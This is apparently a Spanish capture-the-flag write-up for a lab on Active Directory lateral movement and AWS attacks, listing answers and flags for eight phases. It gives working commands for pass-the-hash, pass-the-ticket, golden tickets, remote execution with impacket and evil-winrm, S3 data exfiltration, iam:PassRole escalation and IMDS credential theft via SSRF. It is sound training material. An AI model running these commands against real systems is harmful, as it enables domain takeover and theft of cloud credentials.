Writeup — Lateral AD + AWS
Fase 1 [AD] — Pass-the-Hash
★★★
$ nxc smb 10.10.0.15 -u Administrator -H :31d6cfe0d16ae931b73c59d7e0c089c0
impacket-wmiexec -hashes :31d6cfe0...c089c0 ghost.lab/Administrator@10.10.0.15Respuesta: Pass-the-Hash (PtH). El hash NTLM basta para autenticarse.
Flag: GO{pass_the_hash_sin_conocer_la_clave}
Fase 2 [AD] — Pass-the-Ticket
★★★
$ export KRB5CCNAME=robado.ccache
impacket-wmiexec -k -no-pass ghost.lab/Administrator@dc01.ghost.labRespuesta: Pass-the-Ticket (PtT). También válido: Overpass-the-Hash cuando partes del hash para pedir el TGT.
Flag: GO{pass_the_ticket_reutiliza_el_kerberos}
Fase 3 [AD] — Ejecución remota
★★
$ impacket-wmiexec ghost.lab/backupadm:'sunshine26'@10.10.0.15 # WMI
evil-winrm -i 10.10.0.15 -u backupadm -p sunshine26 # WinRM
impacket-psexec ghost.lab/backupadm:'sunshine26'@10.10.0.15 # PsExec (ruidoso)Respuesta: impacket-wmiexec / evil-winrm / psexec (cualquiera vale).
Flag: GO{ejecucion_remota_wmi_winrm_psexec}
Fase 4 [AD] — Golden Ticket
★★★
$ impacket-ticketer -nthash-domain-sid S-1-5-21-... -domain ghost.lab Administrator export KRB5CCNAME=Administrator.ccache ; impacket-wmiexec -k -no-pass ghost.lab/Administrator@dc01
Respuesta: Golden Ticket. Con el hash de krbtgt se forjan TGT válidos para cualquiera; solo se corta rotando krbtgt dos veces.
Flag: GO{golden_ticket_con_el_hash_de_krbtgt}
Fase 5 [AWS] — ¿Quién soy?
★
$ aws sts get-caller-identity
{{
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/deploy"
}}Respuesta: aws sts get-caller-identity.
Flag: GO{get_caller_identity_quien_soy_en_aws}
Fase 6 [AWS] — Bucket S3 expuesto
★★
$ aws s3 ls s3://ghostcorp-backups
aws s3 cp s3://ghostcorp-backups/dump.sql . # exfiltrarRespuesta: el servicio S3 (aws s3 ls / cp).
Flag: GO{el_bucket_s3_estaba_expuesto}
Fase 7 [AWS] — Privesc por IAM
★★★
Tu usuario puede pasar un rol privilegiado a un recurso que controlas (Lambda/EC2) y heredar sus permisos:
$ aws iam list-roles # localizar un rol admin
# lanzar una Lambda/EC2 con --role ese-rol-admin (requiere iam:PassRole)
# Pacu automatiza esta y otras viasRespuesta: escalada por iam:PassRole.
Flag: GO{iam_privesc_por_passrole}
Fase 8 [AWS] — Robo por metadata (IMDS)
★★★
Con un SSRF en una app en EC2, se piden al IMDS las credenciales temporales del rol de la instancia:
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role
# -> AccessKeyId / SecretAccessKey / Token -> configurarlas y actuar como el rolRespuesta: el metadata/IMDS (169.254.169.254). Mitigación: IMDSv2.
Flag: GO{credenciales_robadas_del_metadata_imds}
Las dos cadenas
AD: secretsdump (módulo 18) → con un hash haces Pass-the-Hash a otro equipo → robas un ticket y haces Pass-the-Ticket → ejecutas en remoto (wmiexec/evil-winrm) → con el hash de krbtgt forjas un Golden Ticket = control persistente del dominio.
AWS: consigues unas claves (o credenciales del IMDS vía SSRF) → get-caller-identity para saber quién eres → enumeras S3 e IAM → escalas por iam:PassRole → administrador de la cuenta.
Resumen
| # | Área | Técnica |
|---|---|---|
| 1 | AD | Pass-the-Hash |
| 2 | AD | Pass-the-Ticket / Overpass-the-Hash |
| 3 | AD | Ejecución remota (WMI/WinRM/PsExec) |
| 4 | AD | Golden Ticket |
| 5 | AWS | sts get-caller-identity |
| 6 | AWS | S3 expuesto |
| 7 | AWS | Privesc iam:PassRole |
| 8 | AWS | Robo por IMDS/SSRF |